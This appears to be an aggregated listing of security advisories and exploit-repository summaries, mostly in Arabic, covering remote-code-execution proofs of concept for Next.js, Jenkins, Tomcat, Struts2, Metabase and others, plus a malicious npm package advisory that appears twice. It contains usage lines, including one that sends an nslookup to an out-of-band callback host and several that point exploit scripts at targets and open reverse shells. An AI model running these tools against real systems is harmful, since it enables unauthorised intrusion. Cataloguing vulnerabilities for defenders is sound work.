MAL-2026-17502 Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

CVE-2025-55182

أداة اكتشاف واستغلال الثغرة CVE-2025-55182 مقدمة المشروع هذه الأداة هي أداة واجهة رسومية GUI مبنية على Java Swing، تُستخدم لاكتشاف واستغلال الثغرة CVE-2025-55182. تمثل هذه الثغرة خللاً أمنياً في إطار عمل Next.js، مما يسمح للمهاجم بتنفيذ أوامر تعسفية عبر بناء طلبات معينة. الميزات 1. اكتشاف الثغرات...

CVE-2024-29375

CSV-Injection-PoC حقن CSV في Addactis IBNRS 3.10.3.107 AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L CVSS: 7.1, درجة التأثير: 5.3, درجة الاستغلال: 1.3 المكونات المتأثرة: وصف المشروع، المعرفات، اسم المثلث المخصص داخل مثلثات الإدخال ومعاملات اسم منحنى العائد لقطة شاشة 1: حقن صيغة Excel كوصف للمشروع من أجل فت...

CVE-2026-39987_RCE_PoC

CVE-2026-39987 — إثبات مفهوم تنفيذ الأوامر عن بُعد عبر WebSocket في Marimo إثبات مفهوم لـ CVE-2026-39987 ، يوضح تنفيذ الأوامر عن بُعد من خلال نقطة نهاية الطرفية WebSocket المصابة بالثغرة. إخلاء المسؤولية: هذا الإثبات مخصص للاختبار الأمني المصرح به والاستخدام التعليمي فقط. استخدمه فقط ضد الأنظمة...

CVE-2021-21300

CVE-2021-21300 في إصدارات متعددة من git، لا يتم التعامل مع الروابط الرمزية بشكل صارم. بعد تحميل ملفات إلى git على نظام ملفات حساس لحالة الأحرف مثل Linux، يمكن أن يؤدي استنساخ مستودع خبيث على مضيف يستخدم نظام ملفات غير حساس لحالة الأحرف مثل Windows إلى تنفيذ أوامر عن بُعد. الإصدارات المتأثرة من 2....

CVE-2021-26295--

CVE-2021-26295-- CVE-2021-26295-POC يستخدم DNSlog للتحقق من الثغرة الأمنية CVE-2021-26295. استخدام poc: ضع الهدف في target.txt ثم شغّل python poc.py. بيئة Jdk يجب أن تكون 12، وإلا فلن يتمكن ysoserial من توليد الحمولة بشكل صحيح exp: python exp.py https://baidu.com ثم ادخل إلى واجهة تنفيذ الأوامر...

ThinkAdmin-CVE-2020-25540

ThinkAdmin-CVE-2020-25540 ThinkAdmin CVE-2020-25540 POC الاستخدام $ python3 exploit.py -t -c...

CVE-2022-29078

CVE-2022-29078 PoC بسيط لـ CVE-2022-29078 ثغرة ejs 3.1.6 الاستخدام git clone https://github.com/chuckdu21/CVE-2022-29078.git cd CVE-2022-29078 python3 CVE-2022-29078.py سيظهر موجه لتنفيذ الأوامر $ id uid=0root gid=0root groupes=0root...

CVE-2012-2982-Webmin-Exploit

استغلال تنفيذ الأوامر عن بُعد في Webmin 1.590 CVE-2012-2982 نظرة عامة يحتوي هذا المستودع على استغلال إثبات مفهوم PoC لثغرة CVE-2012-2982 ، وهي ثغرة تنفيذ أوامر عن بُعد بعد المصادقة تؤثر على إصدارات Webmin 1.590 والإصدارات الأقدم. تقع الثغرة في نقطة النهاية /file/show.cgi ، حيث يمكن للمهاجم تنفيذ...

CVE-2024-23692-EXP

CVE-2024-23692-EXP bash CVE-2024-23692.sh Nuclei nuclei -list target.txt -t CVE-2024-23692.yaml -o CVE-2024-23692-result.txt...

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804: تنفيذ الأوامر عن بُعد في Bitbucket RCE تحليل تقني واستغلال مخبري لحقن وسائط البايت الفارغ Null-Byte Argument Injection ملخص الثغرة الأمنية CVE-2022-36804 هي ثغرة حقن وسائط Argument Injection بدرجة خطورة عالية/حرجة ضمن REST API الخاصة بخوادم Atlassian Bitbucket Server وData Center...

CVE-2023-38646

Metabase Pre-Auth RCE POC - CVE-2023-38646 تسمح Metabase مفتوحة المصدر قبل الإصدار 0.46.6.1 وMetabase Enterprise قبل الإصدار 1.46.6.1 للمهاجمين بتنفيذ أوامر تعسفية على الخادم. لقد كتبت النص مباشرة للحصول على شيل عكسي على جهاز المهاجم. الاستخدام يتطلب النص عنوان URL المستهدف، وعنوان IP للمهاجم،...

CVE-2020-17530

CVE-2020-17530 ثغرة تنفيذ الأوامر عن بعد Struts2 S2-061 CVE-2020-17530 تعليمات الاستخدام: python CVE-2020-17530.py -u url python CVE-2020-17530.py -f file.txt python CVE-2020-17530.py -f file.txt -o outfile.txt python CVE-2020-17530.py -f file.txt -p socks5://127.0.0.1:7890 python CVE-2020-17530....

CVE-2022-24715

Icinga Web 2 - تنفيذ الأكواد عن بُعد مع المصادقة 2.8.6, 2.9.6, 2.10 تنفيذ الأوامر عن بُعد شيل عكسي الاستخدام usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U USER, --user USE...

RedArrow

RedArrow3.2 - أداة تنفيذ الأوامر عن بُعد ThinkPHP 5.0.23 دليل الاستخدام 1. مقدمة الأداة RedArrow3.2 هي أداة رسومية لاستغلال ثغرة تنفيذ الأوامر عن بُعد في ThinkPHP 5.0.23، وتوفر وظيفتين رئيسيتين: تنفيذ أمر واحد و GodzillaShell التفاعلية. تدعم الأداة عرض الخط الصيني، وتتميز بتأثيرات RGB ديناميكية...

CVE-2024-23897-Vulnerabilidad-Jenkins

استغلال الثغرة CVE-2024-23897 في Jenkins وصف الثغرة: CVE-2024-23897 CVE-2024-23897 هي ثغرة حرجة تم اكتشافها في Jenkins، وهي أداة تكامل مستمر شهيرة. تسمح هذه الثغرة بتنفيذ الأوامر عن بُعد RCE على خادم Jenkins بسبب عدم وجود قيود مناسبة على وظائف الوصول إلى العقد والاتصال. تفاصيل الثغرة: CVE-ID :...

CVE-2025-24813

CVE-2025-24813 سكربت إثبات المفهوم PoC لثغرة CVE-2025-24813، وهي ثغرة في Apache Tomcat. تم تعديل السكربت بناءً على الرابط ذي الصلة وتهيئته وفقًا لاحتياجاتي. إعداد بيئة Tomcat القابلة للاستغلال تعتمد البيئة على الصورة الرسمية Tomcat 9.0.90. تزيل قيد القراءة فقط للخادم وتضبطه لحفظ بيانات الجلسة على...

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock تم استغلاله بواسطة infrar3d يحتوي هذا المستودع على برهان مفهوم Proof-of-Concept لاستغلال ثغرة CVE-2014-6271 Shellshock. تُعد Shellshock ثغرة أمنية حرجة في GNU Bash حيث تسمح متغيرات البيئة المُعدّة بعناية بـتنفيذ أوامر عشوائية. عندما يمرر خادم الويب ترويسات HTTP إلى نصوص C...

CVE-2016-4437

CVE-2016-4437 إثبات المفهوم بلغة Python لاستغلال ثغرة CVE-2016-4437 في Apache Shiro بسبب مفتاح تشفير مُضمن مثال استخدام: ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun انظر التعليقات والكود لمزيد من المعلومات...